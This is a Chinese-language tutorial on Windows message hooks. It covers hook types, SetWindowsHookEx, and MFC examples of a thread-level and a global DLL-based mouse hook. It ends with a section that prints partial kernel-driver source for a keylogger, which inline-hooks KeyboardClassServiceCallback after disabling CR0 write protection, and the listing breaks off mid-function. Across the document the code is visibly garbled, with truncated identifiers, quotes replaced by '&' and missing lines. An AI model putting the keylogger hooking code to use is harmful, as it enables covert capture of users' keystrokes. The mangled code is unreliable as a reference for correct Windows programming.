Listing Left SidebarListing Left Sidebar消息钩子函数入门&
Windows 系统是建立在事件驱动的机制上的，说穿了就是整个系统都是通过消息的传递来实
现的。而钩子是 Windows 系统中非常重要的系统接口，用它可以截获并处理送给其他应用
程序的消息，来完成普通应用程序难以实现的功能。钩子可以监视系统或进程中的各种事件
消息，截获发往目标窗口的消息并进行处理。这样，我们就可以在系统中安装自定义的钩子，
监视系统中特定事件的发生，完成特定的功能，比如截获键盘、鼠标的输入，屏幕取词，日
志监视等等。可见，利用钩子可以实现许多特殊而有用的功能。因此，对于高级编程人员来
说，掌握钩子的编程方法是很有必要的。
钩子的类型&
& &一． 按事件分类，有如下的几种常用类型&
& &（1） 键盘钩子和低级键盘钩子可以监视各种键盘消息。&
& &（2） 鼠标钩子和低级鼠标钩子可以监视各种鼠标消息。&
& &（3） 外壳钩子可以监视各种 Shell 事件消息。比如启动和关闭应用程序。&
& &（4） 日志钩子可以记录从系统消息队列中取出的各种事件消息。&
& &（5） 窗口过程钩子监视所有从系统消息队列发往目标窗口的消息。&
& &此外，还有一些特定事件的钩子提供给我们使用，不一一列举。&
下面描述常用的 Hook 类型：&
1、WH_CALLWNDPROC 和 WH_CALLWNDPROCRET Hooks&
WH_CALLWNDPROC 和 WH_CALLWNDPROCRET Hooks 使你可以监视发送到窗口过程的消息。
系统在消息发送到接收窗口过程之前调用 WH_CALLWNDPROC Hook 子程，并且在窗口过程
处理完消息之后调用 WH_CALLWNDPRO&
CRET Hook 子程。WH_CALLWNDPROCRET Hook 传递指针到 CWPRETSTRUCT 结构，再传递到
Hook 子程。CWPRETSTRUCT 结构包含了来自处理消息的窗口过程的返回值，同样也包括了
与这个消息关联的消息参数。&
2、WH_CBT Hook&
在以下事件之前，系统都会调用 WH_CBT Hook 子程，这些事件包括：&
1. 激活，建立，销毁，最小化，最大化，移动，改变尺寸等窗口事件;&
2. 完成系统指令;&
3. 来自系统消息队列中的移动鼠标，键盘事件;&
4. 设置输入焦点事件;&
5. 同步系统消息队列事件。&
Hook 子程的返回值确定系统是否允许或者防止这些操作中的一个。&
3、WH_DEBUG Hook&
在系统调用系统中与其他 Hook 关联的 Hook 子程之前，系统会调用 WH_DEBUG Hook 子程。
你可以使用这个 Hook 来决定是否允许系统调用与其他 Hook 关联的 Hook 子程。&
4、WH_FOREGROUNDIDLE Hook&
当应用程序的前台线程处于空闲状态时，可以使用 WH_FOREGROUNDIDLE Hook 执行低优先
级的任务。当应用程序的前台线程大概要变成空闲状态时，系统就会调用 WH_FOREGROUN
DIDLE Hook 子程。&
5、WH_GETMESSAGE Hook&
应用程序使用 WH_GETMESSAGE Hook 来监视从 GetMessage or PeekMessage 函数返回的消
息。你可以使用 WH_GETMESSAGE Hook 去监视鼠标和键盘输入，以及其他发送到消息队列
中的消息。&
6、WH_JOURNALPLAYBACK Hook&
WH_JOURNALPLAYBACK Hook 使应用程序可以插入消息到系统消息队列。可以使用这个 Hoo
k 回放通过使用 WH_JOURNALRECORD Hook 记录下来的连续的鼠标和键盘事件。只要 WH_J
OURNALPLAYBACK Hook 已经安装，正常的鼠标和键盘事件就是无效的。WH_JOURNALPLAYB
ACK Hook 是全局 Hook，它不能象线程特定 Hook 一样使用。WH_JOURNALPLAYBACK Hook
返回超时值，这个值告诉系统在处理来自回放 Hook 当前消息之前需要等待多长时间（毫秒）。
这就使 Hook 可以控制实时事件的回放。WH_JOURNALPLAYBACK 是 system-wide local hooks，
它們不會被注射到任何行程位址空間。（估计按键精灵是用这个 hook 做的）&
7、WH_JOURNALRECORD Hook&
WH_JOURNALRECORD Hook 用来监视和记录输入事件。典型的，可以使用这个 Hook 记录连
续的鼠标和键盘事件，然后通过使用 WH_JOURNALPLAYBACK Hook 来回放。WH_JOURNALR
ECORD Hook 是全局 Hook，它不能象线程特定 Hook 一样使用。WH_JOURNALRECORD 是 sys
tem-wide local hooks，它們不會被注射到任何行程位址空間。&
8、WH_KEYBOARD Hook&
在应用程序中，WH_KEYBOARD Hook 用来监视 WM_KEYDOWN and WM_KEYUP 消息，这些
消息通过 GetMessage or PeekMessage function 返回。可以使用这个 Hook 来监视输入到消
息队列中的键盘消息。&
9、WH_KEYBOARD_LL Hook&
WH_KEYBOARD_LL Hook 监视输入到线程消息队列中的键盘消息。&
10、WH_MOUSE Hook&
WH_MOUSE Hook 监视从 GetMessage 或者 PeekMessage 函数返回的鼠标消息。使用这个 H
ook 监视输入到消息队列中的鼠标消息。&
11、WH_MOUSE_LL Hook&
WH_MOUSE_LL Hook 监视输入到线程消息队列中的鼠标消息。&
12、WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks&
WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks 使我们可以监视菜单，滚动条，消息框，对话
框消息并且发现用户使用 ALT+TAB or ALT+ESC 组合键切换窗口。WH_MSGFILTER Hook 只能
监视传递到菜单，滚动条，消息框的消息，以及传递到通过安装了 Hook 子程的应用程序建
立的对话框的消息。WH_SYSMSGFILTER Hook 监视所有应用程序消息。WH_MSGFILTER 和
WH_SYSMSGFILTER Hooks 使我们可以在模式循环期间过滤消息，这等价于在主消息循环中
过滤消息。通过调用 CallMsgFilter function 可以直接的调用 WH_MSGFILTER Hook。通过使
用这个函数，应用程序能够在模式循环期间使用相同的代码去过滤消息，如同在主消息循环
13、WH_SHELL Hook&
外壳应用程序可以使用 WH_SHELL Hook 去接收重要的通知。当外壳应用程序是激活的并且
当顶层窗口建立或者销毁时，系统调用 WH_SHELL Hook 子程。&
WH_SHELL 共有５钟情況：&
1. 只要有个 top-level、unowned 窗口被产生、起作用、或是被摧毁;&
2. 当 Taskbar 需要重画某个按钮;&
3. 当系统需要显示关于 Taskbar 的一个程序的最小化形式;&
4. 当目前的键盘布局状态改变;&
5. 当使用者按 Ctrl+Esc 去执行 Task Manager（或相同级别的程序）。 &&
按照惯例，外壳应用程序都不接收 WH_SHELL 消息。所以，在应用程序能够接收 WH_SHELL
消息之前，应用程序必须调用 SystemParametersInfo function 注册它自己。&
以上是 13 种常用的 hook 类型！&
& &二． 按使用范围分类，主要有线程钩子和系统钩子&
& &（1） 线程钩子监视指定线程的事件消息。&
& &（2） 系统钩子监视系统中的所有线程的事件消息。因为系统钩子会影响系统中所有
的应用程序，所以钩子函数必须放在独立的动态链接库(DLL)&
中。这是系统钩子和线程钩子很大的不同之处。&
& &几点需要说明的地方：&
& &（1） 如果对于同一事件（如鼠标消息）既安装了线程钩子又安装了系统钩子，那么
系统会自动先调用线程钩子，然后调用系统钩子。&
& &（2） 对同一事件消息可安装多个钩子处理过程，这些钩子处理过程形成了钩子链。
当前钩子处理结束后应把钩子信息传递给下一个钩子函数。而且最近安装的钩子放在链的开
始，而最早安装的钩子放在最后，也就是后加入的先获得控制权。&
& &（3） 钩子特别是系统钩子会消耗消息处理时间，降低系统性能。只有在必要的时候
才安装钩子，在使用完毕后要及时卸载。&
编写钩子程序&
& &编写钩子程序的步骤分为三步：定义钩子函数、安装钩子和卸载钩子。&
& &1．定义钩子函数&
& &钩子函数是一种特殊的回调函数。钩子监视的特定事件发生后，系统会调用钩子函数
进行处理。不同事件的钩子函数的形式是各不相同的。下面以鼠标钩子函数举例说明钩子函
数的原型：&
LRESULT CALLBACK HookProc(int nCode ,WPARAM wParam,LPARAM lParam)&
参数 wParam 和 lParam 包含所钩消息的信息，比如鼠标位置、状态，键盘按键等。nCode
包含有关消息本身的信息，比如是否从消息队列中移出。&
我们先在钩子函数中实现自定义的功能，然后调用函数 CallNextHookEx.把钩子信息传递给
钩子链的下一个钩子函数。CallNextHookEx.的原型如下：
LRESULT CallNextHookEx( HHOOK hhk, int nCode, WPARAM wParam, LPARAM lParam )&
参数 hhk 是钩子句柄。nCode、wParam 和 lParam 是钩子函数。&
当然也可以通过直接返回 TRUE 来丢弃该消息，就阻止了该消息的传递。&
2．安装钩子&
& &在程序初始化的时候，调用函数 SetWindowsHookEx 安装钩子。其函数原型为：&
HHOOK SetWindowsHookEx( int idHook,HOOKPROC lpfn, INSTANCE hMod,DWORD dwThrea
参数 idHook 表示钩子类型，它是和钩子函数类型一一对应的。比如，WH_KEYBOARD 表示
安装的是键盘钩子，WH_MOUSE 表示是鼠标钩子等等。&
& &Lpfn 是钩子函数的地址。&
& &HMod 是钩子函数所在的实例的句柄。对于线程钩子，该参数为 NULL;对于系统钩子，
该参数为钩子函数所在的 DLL 句柄。&
& &dwThreadId 指定钩子所监视的线程的线程号。对于全局钩子，该参数为 NULL。&
& &SetWindowsHookEx 返回所安装的钩子句柄。&
& &3．卸载钩子&
& &当不再使用钩子时，必须及时卸载。简单地调用函数 BOOL UnhookWindowsHookEx(
HHOOK hhk)即可。 &
值得注意的是线程钩子和系统钩子的钩子函数的位置有很大的差别。线程钩子一般在当前线
程或者当前线程派生的线程内，而系统钩子必须放在独立的动态链接库中，实现起来要麻烦
线程钩子的编程实例：&
& &按照上面介绍的方法实现一个线程级的鼠标钩子。钩子跟踪当前窗口鼠标移动的位置
变化信息。并输出到窗口。&
& &(1)在 VC＋＋6.0 中利用 MFC&
APPWizard（EXE）生成一个不使用文档/视结构的单文档应用 mousehook。打开 childview.cp
p 文件，加入全局变量：&
HHOOK hH//鼠标钩子句柄&
CP//鼠标位置信息&
CChildView ＊pV&
// 鼠标钩子函数用到的输出窗口指针&
& &在 CChildView::OnPaint()添加如下代码：&
CPaintDC dc(this);&
char str[256];&
sprintf(str,“x=％d,y=％d&,point.x,point.y);&
//构造字符串&
dc.TextOut(0,0,str); //显示字符串&
& &(2)childview.cpp 文件中定义全局的鼠标钩子函数。&
LRESULT CALLBACK MouseProc&
(int nCode, WPARAM wParam, LPARAM lParam)&
{//是鼠标移动消息&
if(wParam==WM_MOUSEMOVE||wParam&
==WM_NCMOUSEMOVE)&
point=((MOUSEHOOKSTRUCT ＊)lParam)－&&
//取鼠标信息&
pView－&Invalidate(); //窗口重画&
return CallNextHookEx(hHook,nCode,wParam,lParam);&
//传递钩子信息&
(3)CChildView 类的构造函数中安装钩子。&
CChildView::CChildView()&
pView=//获得输出窗口指针&
hHook=SetWindowsHookEx(WH_MOUSE,MouseProc,0,GetCurrentThreadId());&
(4)CChildView 类的析构函数中卸载钩子。 &
CChildView::～CChildView()&
if(hHook)&
UnhookWindowsHookEx(hHook);&
系统钩子的编程实例：&
由于系统钩子要用到 dll，所以先介绍下 win32 dll 的特点：&
Win32 DLL 与 Win16 DLL 有很大的区别，这主要是由操作系统的设计思想决定的。一方面，
在 Win16 DLL 中程序入口点函数和出口点函数（LibMain 和 WEP）是分别实现的;而在 Win3
2 DLL 中却由同一函数 DLLMain 来实现。无论何时，当一个进程或线程载入和卸载 DLL 时，
都要调用该函数，它的原型是 BOOL WINAPI DllMain&
(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved);，其中，第一个参数表示 DL
L 的实例句柄;第三个参数系统保留;这里主要介绍一下第二个参数，它有四个可能的值：DLL
_PROCESS_ATTACH（进程载入），DLL_THREAD_ATTACH（线程载入），DLL_THREAD_DETACH（线
程卸载），DLL_PROCESS_DETACH（进程卸载），在 DLLMain 函数中可以对传递进来的这个参
数的值进行判别，并根据不同的参数值对 DLL 进行必要的初始化或清理工作。举个例子来说，
当有一个进程载入一个 DLL 时，系统分派给 DLL 的第二个参数为 DLL_PROCESS_ATTACH，这
时，你可以根据这个参数初始化特定的数据。另一方面，在 Win16 环境下，所有应用程序
都在同一地址空间;而在 Win32 环境下，所有应用程序都有自己的私有空间，每个进程的空
间都是相互独立的，这减少了应用程序间的相互影响，但同时也增加了编程的难度。大家知
道，在 Win16 环境中，DLL 的全局数据对每个载入它的进程来说都是相同的;而在 Win32 环
境中，情况却发生了变化，当进程在载入 DLL 时，系统自动把 DLL 地址映射到该进程的私有
空间，而且也复制该 DLL 的全局数据的一份拷贝到该进程空间，也就是说每个进程所拥有的
相同的 DLL 的全局数据其值却并不一定是相同的。因此，在 Win32 环境下要想在多个进程
中共享数据，就必须进行必要的设置。亦即把这些需要共享的数据分离出来，放置在一个独
立的数据段里，并把该段的属性设置为共享。&
在 VC6 中有三种形式的 MFC DLL（在该 DLL 中可以使用和继承已有的 MFC 类)可供选择，即
Regular statically linked to MFC DLL（标准静态链接 MFC DLL）和 Regular using the share
d MFC DLL（标准动态链接 MFC DLL）以及 Extension MFC DLL（扩展 MFC DLL）。第一种 D
LL 的特点是，在编译时把使用的 MFC 代码加入到 DLL 中，因此，在使用该程序时不需要其
他 MFC 动态链接类库的存在，但占用磁盘空间比较大;第二种 DLL 的特点是，在运行时，动
态链接到 MFC 类库，因此减少了空间的占用，但是在运行时却依赖于 MFC 动态链接类库;
这两种 DLL 既可以被 MFC 程序使用也可以被 Win32 程序使用。第三种 DLL 的特点类似于第
二种，做为 MFC 类库的扩展，只能被 MFC 程序使用。&
下面说说在 VC6 中全局共享数据的实现&
& &在主文件中，用#pragma data_seg 建立一个新的数据段并定义共享数据，其具体格式
& &#pragma data_seg （&shareddata&)&
& &HWND sharedwnd=NULL;//共享数据&
& &#pragma data_seg()&
& &仅定义一个数据段还不能达到共享数据的目的，还要告诉编译器该段的属性，有两种
方法可以实现该目的（其效果是相同的），一种方法是在.DEF 文件中加入如下语句：&
SETCTIONS shareddata READ WRITE SHARED &
& &另一种方法是在项目设置链接选项中加入如下语句：&
& &/SECTION:shareddata,rws&
好了，准备知识已经学完了，让我们开始编写个全局的钩子程序吧！&
由于全局钩子函数必须包含在动态链接库中，所以本例由两个程序体来实现。&
1．建立钩子 Mousehook.DLL&
& &(1)选择 MFC AppWizard(DLL)创建项目 M&
& &(2)选择 MFC Extension DLL（共享 MFC 拷贝）类型;&
& &(3)由于 VC5 没有现成的钩子类，所以要在项目目录中创建 Mousehook.h 文件，在其中
建立钩子类：&
& &class AFX_EXT_CLASS Cmousehook:public CObject&
& &public:&
& &Cmousehook();&
& &//钩子类的构造函数&
& &~Cmousehook();&
& &//钩子类的析构函数&
& &BOOL starthook(HWND hWnd);&
& &//安装钩子函数&
& &BOOL stophook();&
& &卸载钩子函数&
& &(4)在 Mousehook.app 文件的顶部加入#include&Mousehook.h&语句;&
& &(5)加入全局共享数据变量：&
& &#pragma data_seg(&mydata&)&
& &HWND glhPrevTarWnd=NULL;&
& &//上次鼠标所指的窗口句柄&
& &HWND glhDisplayWnd=NULL;&
& &//显示目标窗口标题编辑框的句柄&
& &HHOOK glhHook=NULL;&
& &//安装的鼠标钩子句柄&
& &HINSTANCE glhInstance=NULL;&
& &//DLL 实例句柄&
& &#pragma data_seg()&
& &(6)在 DEF 文件中定义段属性：&
& &SECTIONS&
& &mydata READ WRITE SHARED&
& &(7)在主文件 Mousehook.cpp 的 DllMain 函数中加入保存 DLL 实例句柄的语句：&
& &DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)&
& &//如果使用 lpReserved 参数则删除下面这行&
& &UNREFERENCED_PARAMETER(lpReserved); &
& &if (dwReason == DLL_PROCESS_ATTACH)&
& &TRACE0(&MOUSEHOOK.DLL Initializing!\n&);&
& &//扩展 DLL 仅初始化一次&
& &if (!AfxInitExtensionModule(MousehookDLL, hInstance))&
& &return 0;&
& &new CDynLinkLibrary(MousehookDLL);&
& &//把 DLL 加入动态 MFC 类库中&
& &glhInstance=hI&
& &//插入保存 DLL 实例句柄&
& &else if (dwReason == DLL_PROCESS_DETACH)&
& &TRACE0(&MOUSEHOOK.DLL Terminating!\n&);&
& &//终止这个链接库前调用它&
& &AfxTermExtensionModule(MousehookDLL);&
& &return 1;&
& &(8)类 Cmousehook 的成员函数的具体实现：&
& &Cmousehook::Cmousehook()&
& &//类构造函数&
& &Cmousehook::~Cmousehook()&
& &//类析构函数&
& &stophook();&
& &BOOL Cmousehook::starthook(HWND hWnd)&
& &//安装钩子并设定接收显示窗口句柄&
& &BOOL bResult=FALSE;&
& &glhHook=SetWindowsHookEx(WH_MOUSE,MouseProc,glhInstance,0);&
& &if(glhHook!=NULL)&
& &bResult=TRUE;&
& &glhDisplayWnd=hW&
& &//设置显示目标窗口标题编辑框的句柄&
& &return bR&
& &BOOL Cmousehook::stophook()&
& &//卸载钩子&
& &BOOL bResult=FALSE; &
& &if(glhHook)&
& &bResult= UnhookWindowsHookEx(glhHook);&
& &if(bResult)&
& &glhPrevTarWnd=NULL;&
& &glhDisplayWnd=NULL;//清变量&
& &glhHook=NULL;&
& &return bR&
& &(9)钩子函数的实现：&
& &LRESULT WINAPI MouseProc(int nCode,WPARAM wparam,LPARAM lparam)&
& &LPMOUSEHOOKSTRUCT pMouseHook=(MOUSEHOOKSTRUCT FAR *)&
& &if (nCode&=0)&
& &HWND glhTargetWnd=pMouseHook-&&
& &//取目标窗口句柄&
& &HWND ParentWnd=glhTargetW&
& &while (ParentWnd !=NULL)&
& &glhTargetWnd=ParentW&
& &ParentWnd=GetParent(glhTargetWnd);&
& &//取应用程序主窗口句柄&
& &if(glhTargetWnd!=glhPrevTarWnd)&
& &char szCaption[100];&
& &GetWindowText(glhTargetWnd,szCaption,100);&
& &//取目标窗口标题&
& &if(IsWindow(glhDisplayWnd))&
& &SendMessage(glhDisplayWnd,WM_SETTEXT,0,(LPARAM)(LPCTSTR)szCaption);&
& &glhPrevTarWnd=glhTargetW&
& &//保存目标窗口&
& &return CallNextHookEx(glhHook,nCode,wparam,lparam);&
& &//继续传递消息&
& &(10)编译项目生成 mousehook.dll。&
& &2．创建钩子可执行程序&
& &(1)用 MFC 的 AppWizard(EXE)创建项目 M &
& &(2)选择“基于对话应用”并按下“完成”键;&
& &(3)编辑对话框，删除其中原有的两个按钮，加入静态文本框和编辑框，用鼠标右键点
击静态文本框，在弹出的菜单中选择“属性”，设置其标题为“鼠标所在的窗口标题”;&
& &(4)在 Mouse.h 中加入对 Mousehook.h 的包含语句#Include&..\Mousehook\Mousehook.h
& &(5)在 CMouseDlg.h 的 CMouseDlg 类定义中添加私有数据成员：&
& &CMouseHook m_//加入钩子类作为数据成员&
& &(6)修改 CmouseDlg::OnInitDialog()函数：&
& &BOOL CMouseDlg::OnInitDialog()&
& &CDialog::OnInitDialog();&
& &ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);&
& &ASSERT(IDM_ABOUTBOX &0xF000);&
& &CMenu* pSysMenu = GetSystemMenu(FALSE);&
& &if (pSysMenu != NULL)&
& &CString strAboutM&
& &strAboutMenu.LoadString(IDS_ABOUTBOX);&
& &if (!strAboutMenu.IsEmpty())&
& &pSysMenu-&AppendMenu(MF_SEPARATOR);&
& &pSysMenu-&AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);&
& &SetIcon(m_hIcon, TRUE);//Set big icon&
& &SetIcon(m_hIcon, FALSE);//Set small icon&
& &//TODO: Add extra initialization here&
& &CWnd * pwnd=GetDlgItem(IDC_EDIT1);&
& &//取得编辑框的类指针&
& &m_hook.starthook(pwnd-&GetSafeHwnd());&
& &//取得编辑框的窗口句柄并安装钩子&
& &return TRUE;&
& &//return TRUE unless you set the focus to a control&
& &(7)链接 DLL 库，即把..\Mousehook\debug\Mousehook.lib 加入到项目设置链接标签中;&
& &(8)编译项目生成可执行文件;&
& &(9)把 Mousehook.DLL 拷贝到..\mouse\debug 目录中;&
& &(10)先运行几个可执行程序，然后运行 Mouse.exe 程序，把鼠标在不同窗口中移动，
在 Mouse.exe 程序窗口中的编辑框内将显示出鼠标所在的应用程序主窗口的标题&
vc 中 SetwindowsHookEx 的 hook 介绍&
上一篇 / 下一篇 & 11:10:57 / 个人分类：c++
查看( 289 ) / 评论( 0 ) / 评分( 0 / 0 )&
WINDOWS VC 编程之 HOOK 技术&
hook 是 WINDOWS 提供的一种消息处理机制，它使得程序员可以使用子过程来监视系统消息，并在消息
到达目标过程前得到处理。&
下面将介绍 WINNDOWS HOOKS 并且说明如何在 WINDOWS 程序中使用它。 &
关于 HOOKS&
使用 HOOK 将会降低系统效率，因为它增加了系统处量消息的工作量。建议在必要时才使用 HOOK，并
在消息处理完成后立即移去该 HOOK。&
WINDOWS 提供了几种不同类型的 HOOKS；不同的 HOOK 可以处理不同的消息。例如，WH_MOUSE&
HOOK 用来监视鼠标消息。&
WINDOWS 为这几种 HOOKS 维护着各自的 HOOK 链。HOOK 链是一个由应用程序定义的回调函数队列，
当某种类型的消息发生时，WINDOWS 向此种类型的 HOOK 链的第一个函数发送该消息，在第一函数处
理完该消息后由该函数向链表中的下一个函数传递消息，依次向下。如果链中某个函数没有向下传送该消
息，那么链表中后面的函数将得不到此消息。（对于某些类型的 HOOK，不管 HOOK 链中的函数是否向下
传递消息，与此类型 HOOK 联系的所有 HOOK 函数都会收到系统发送的消息）&
HOOK 过程&
为了拦截特定的消息，你可以使用 SetWindowsHookEx 函数在该类型的 HOOK 链中安装你自己的 HOOK
函数。该函数语法如下：&
public function MyHook(nCode,wParam,iParam) as long&
,,加入代码&
end function&
其中 MyHook 可以随便命名，其它不能变。该函数必须放在模块段。nCode 指定 HOOK 类型。wParam,i
Param 的取值随 nCode 不同而不同，它代表了某种类型的 HOOK 的某个特定的动作。&
SetWindowsHookEx 总是将你的 HOOK 函数放置在 HOOK 链的顶端。你可以使用 CallNextHookEx 函数
将系统消息传递给 HOOK 链中的下一个函数。&
[注释]对于某些类型的 HOOK，系统将向该类的所有 HOOK 函数发送消息，这时，HOOK 函数中的 CallN
extHookEx 语句将被忽略。 &
全局 HOOK 函数可以拦截系统中所有线程的某个特定的消息（此时该 HOOK 函数必须放置在 DLL 中），
局部 HOOK 函数可以拦截指定线程的某特定消息（此时该 HOOK 函数可以放置在 DLL 中，也可以放置在
应用程序的模块段）。&
[注释] 建议只在调试时使用全局 HOOK 函数。全局 HOOK 函数将降低系统效率，并且会同其它使用该类
HOOK 的应用程序产生冲突。 &
HOOK 类型&
WH_CALLWNDPROC 和 WH_CALLWNDPROCRET HOOK&
WH_C ALLWNDPROC 和 WH_CALLWNDPROCRET HOOK 可以监视 SendMessage 发送的消息。系
统在向窗体过程发送消息前，将调用 WH_CALLWNDPROC；在窗体过程处理完该消息后系统将调用 WH
_CALLWNDPROCRET。&
WH_CALLWNDPROCRET HOOK 会向 HOOK 过程传送一个 CWPRETSTRUCT 结构的地址。该结构包
含了窗体过程处理系统消息后的一些信息。&
WH_CBT Hook&
系统在激活，创建，消毁，最小化，最大化，移动，改变窗体前；在完成一条系统命令前；在从系统消息
队列中移去鼠标或键盘事件前；在设置输入焦点前，或同步系统消息队列前，将调用 WH_CBT HOOK。
你可以在你的 HOOK 过程拦截该类 HOOK，并返回一个值，告诉系统，是否继续执行上面的操作。&
WH_DEBUG HOOK&
系统在调用与某种 HOOK 类型联系的 HOOK 过程前，将调用 WH_DEBUG ，应用程序可以使用该 HOO
K 决定是否让系统执行某种类型的 HOOK。&
WH_FOREGROUNDIDLE Hook&
系统在空闲时调用该 HOOK，在后台执行优先权较低的应用程序。&
WH_GETMESSAGE Hook&
WH_GETMESSAGE Hook 使应用程序可以拦截 GetMessage 或 PeekMessage 的消息。应用程序使用
WH_GETMESSAGE HOOK 监视鼠标、键盘输入和发送到队列中的其它消息。&
WH_JOURNALRECORD Hook&
WH_JOURNALRECORD Hook 使应用程序可以监视输入事件。典型地，应用程序使用该 HOOK 记录鼠
标、键盘输入事件以供以后回放。该 HOOK 是全局 HOOK，并且不能在指定线程中使用。&
WH_JOURNALPLAYBACK Hook&
` WH_JOURNALPLAYBACK Hook 使应用程序可以向系统消息队列中插入消息。该 HOOK 可以回放以前
由 WH_JOURNALRECORD HOOK 录制的鼠标、键盘输入事件。在 WH_JOURNALPLAYBACK Hook
安装到系统时，鼠标、键盘输入事件将被屏蔽。该 HOOK 同样是一个全局 HOOK，不能在指定线程中使用。&
WH_JOURNALPLAYBACK Hook 返回一个时间暂停值，它告诉系统，在处理当前回放的消息时，系统等
待百分之几秒。这使得此 HOOK 可以控制在回放时的时间事件。&
WH_KEYBOARD Hook&
WH_KEYBOARD Hook 使应用程序可以监视由 GetMessage 和 PeekMessage 返回的 WM_KEYDOWN&
及 WM_KEYUP 消息。应用程序使用该 HOOK 监视发送到消息队列中的键盘输入。&
WH_MOUSE Hook&
WH_MOUSE Hook 使应用程序可以监视由 GetMessage 和 PeekMessage 返回的消息。应用程序使用该
HOOK 监视发送到消息队列中的鼠标输入。&
WH_MSGFILTER and WH_SYSMSGFILTER Hooks&
WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks 使应用程序可以监视菜单、滚动条、消息框、对话框，
当用户使用 ALT+TAB 或 ALT+ESC 来切换窗体时，该 HOOK 也可以拦截到消息。WH_MSGFILTER 仅在
应用程序内部监视菜单、滚动条、消息框、对话框，而 WH_SYSMSGFILTER 则可以在系统内监视所有应
用程序的这些事件。&
WH_SHELL Hook&
一个 SHELL 程序可以使用 WH_SHELL Hook 来接收重要的信息。当一个 SHELL 程序被激活前或当前窗
体被创建、消毁时，系统会调用 WH_SHELL Hook 过程。&
vc++实现 Inline hook KeyboardClassServiceCallback 实现键盘记录&
#ifndef _DBGHELP_H
#define _DBGHELP_H 1&
#include &ntddk.h&&
#define dprintf if (DBG) DbgPrint
#define nprintf DbgPrint&
#define kmalloc(_s) ExAllocatePoolWithTag(NonPagedPool, _s, 'SYSQ')
//#define kfree(_p) ExFreePoolWithTag(_p, 'SYSQ')
#define kfree(_p) ExFreePool(_p)&
#include &ntddk.h&
//#include &ntifs.h&
#include &windef.h&&
#include &HookKey.h&
#include &struct.h&
#include &ntddkbd.h&&
#define MAXBUF 0x15//存储键盘扫描码的缓冲区，其中第一字节为当前存储位置，
ULONG g_OldF&
ULONG g_uCr0;&
BYTE g_HookCode[5] = { 0xe9, 0, 0, 0, 0 };
BYTE g_OrigCode[5] = { 0 }; // 原函数的前字节内容&
BYTE jmp_orig_code[7] = { 0xEA, 0, 0, 0, 0, 0x08, 0x00 }; //因为是长转移，所以有
PDEVICE_OBJECT pDevO
BOOL g_bHooked = FALSE;
int KeyCode=0;
PVOID hPageDataS
PVOID KeyB
PDEVICE_OBJECT g_kbDeviceObject = NULL;
ULONG g_kbdclass_
ULONG g_lpKbdServiceC
VOID &ReadKeyBuf();
VOID &ChangeFake_Function();
fake_OldFunction (
& & & PDEVICE_OBJECT &DeviceObject,
& & & PKEYBOARD_INPUT_DATA &InputDataStart,
& & & PKEYBOARD_INPUT_DATA &InputDataEnd,
& & & PULONG &InputDataConsumed
#ifdef ALLOC_PRAGMA
#pragma alloc_text(NONPAGED, fake_OldFunction)
& HookKey.H&
& Author: &your name&
& Last Updated: &
& This framework is generated by EasySYS 0.3.0
& This template file is copying from QuickSYS 0.3.0 written by Chunhua Liu&
#ifndef _HOOKKEY_H
#define _HOOKKEY_H 1&
// Define the various device type values. &Note that values used by Microsoft
// Corporation are in the range 0-0x7FFF(32767), and
0x)-0xFFFF(65535)
// are reserved for use by customers.
#define FILE_DEVICE_HOOKKEY 0x8000&
// Macro definition for defining IOCTL and FSCTL function control codes. Note
// that function codes 0-0x7FF(2047) are reserved for Microsoft Corporation,
// and 0x800(2048)-0xFFF(4095) are reserved for customers.
#define HOOKKEY_IOCTL_BASE 0x800&
// The device driver IOCTLs
#define CTL_CODE_HOOKKEY(i) CTL_CODE(FILE_DEVICE_HOOKKEY,
HOOKKEY_IOCTL_BASE+i, METHOD_BUFFERED, FILE_ANY_ACCESS)&
#define IOCTL_HOOKKEY_HELLO CTL_CODE_HOOKKEY(0)
#define IOCTL_HOOKKEY_TEST CTL_CODE_HOOKKEY(1)&
// Name that Win32 front end will use to open the HookKey device
#define HOOKKEY_WIN32_DEVICE_NAME_A &\\\\.\\HookKey&
#define HOOKKEY_WIN32_DEVICE_NAME_W L&\\\\.\\HookKey&
#define HOOKKEY_DEVICE_NAME_A & &\\Device\\HookKey&
#define HOOKKEY_DEVICE_NAME_W & L&\\Device\\HookKey&
#define HOOKKEY_DOS_DEVICE_NAME_A &&\\DosDevices\\HookKey&
#define HOOKKEY_DOS_DEVICE_NAME_W &L&\\DosDevices\\HookKey&&
#ifdef _UNICODE
#define HOOKKEY_WIN32_DEVICE_NAME HOOKKEY_WIN32_DEVICE_NAME_W
#define HOOKKEY_DEVICE_NAME &HOOKKEY_DEVICE_NAME_W
#define HOOKKEY_DOS_DEVICE_NAME HOOKKEY_DOS_DEVICE_NAME_W
#define HOOKKEY_WIN32_DEVICE_NAME HOOKKEY_WIN32_DEVICE_NAME_A
#define HOOKKEY_DEVICE_NAME &HOOKKEY_DEVICE_NAME_A
#define HOOKKEY_DOS_DEVICE_NAME HOOKKEY_DOS_DEVICE_NAME_A
Proxy_OldFunction (
PDEVICE_OBJECT &DeviceObject,
PKEYBOARD_INPUT_DATA &InputDataStart,
PKEYBOARD_INPUT_DATA &InputDataEnd,
PULONG &InputDataConsumed
typedef VOID
(*My_KeyboardClassServiceCallback) (
& & & & &PDEVICE_OBJECT &DeviceObject,
& & & & &PKEYBOARD_INPUT_DATA &InputDataStart,
& & & & &PKEYBOARD_INPUT_DATA &InputDataEnd,
& & & & &PULONG &InputDataConsumed
& & & & &);
My_KeyboardClassServiceCallback orig_KeyboardClassServiceCallback = NULL;
void WPOFF()
& & ULONG uA
& & & & mov eax, cr0;
& & & & mov uAttr,
& & & & and eax, 0FFFEFFFFh; // CR0 16 BIT = 0
& & & & mov cr0,
& & & & cli
& & g_uCr0 = uA //保存原有的 CRO 屬性
VOID WPON()
& & & & sti
& & & & mov eax, g_uCr0; //恢復原有 CR0 屬性&
& & & & mov cr0,
// 停止 inline hook
VOID UnHookOldFunction ()
& & KIRQL &oldI&
& & WPOFF();
& & oldIrql = KeRaiseIrqlToDpcLevel();
& & RtlCopyMemory ( (BYTE*)g_OldFunction, g_OrigCode, 5 );&
& & KeLowerIrql(oldIrql);
& & WPON();&
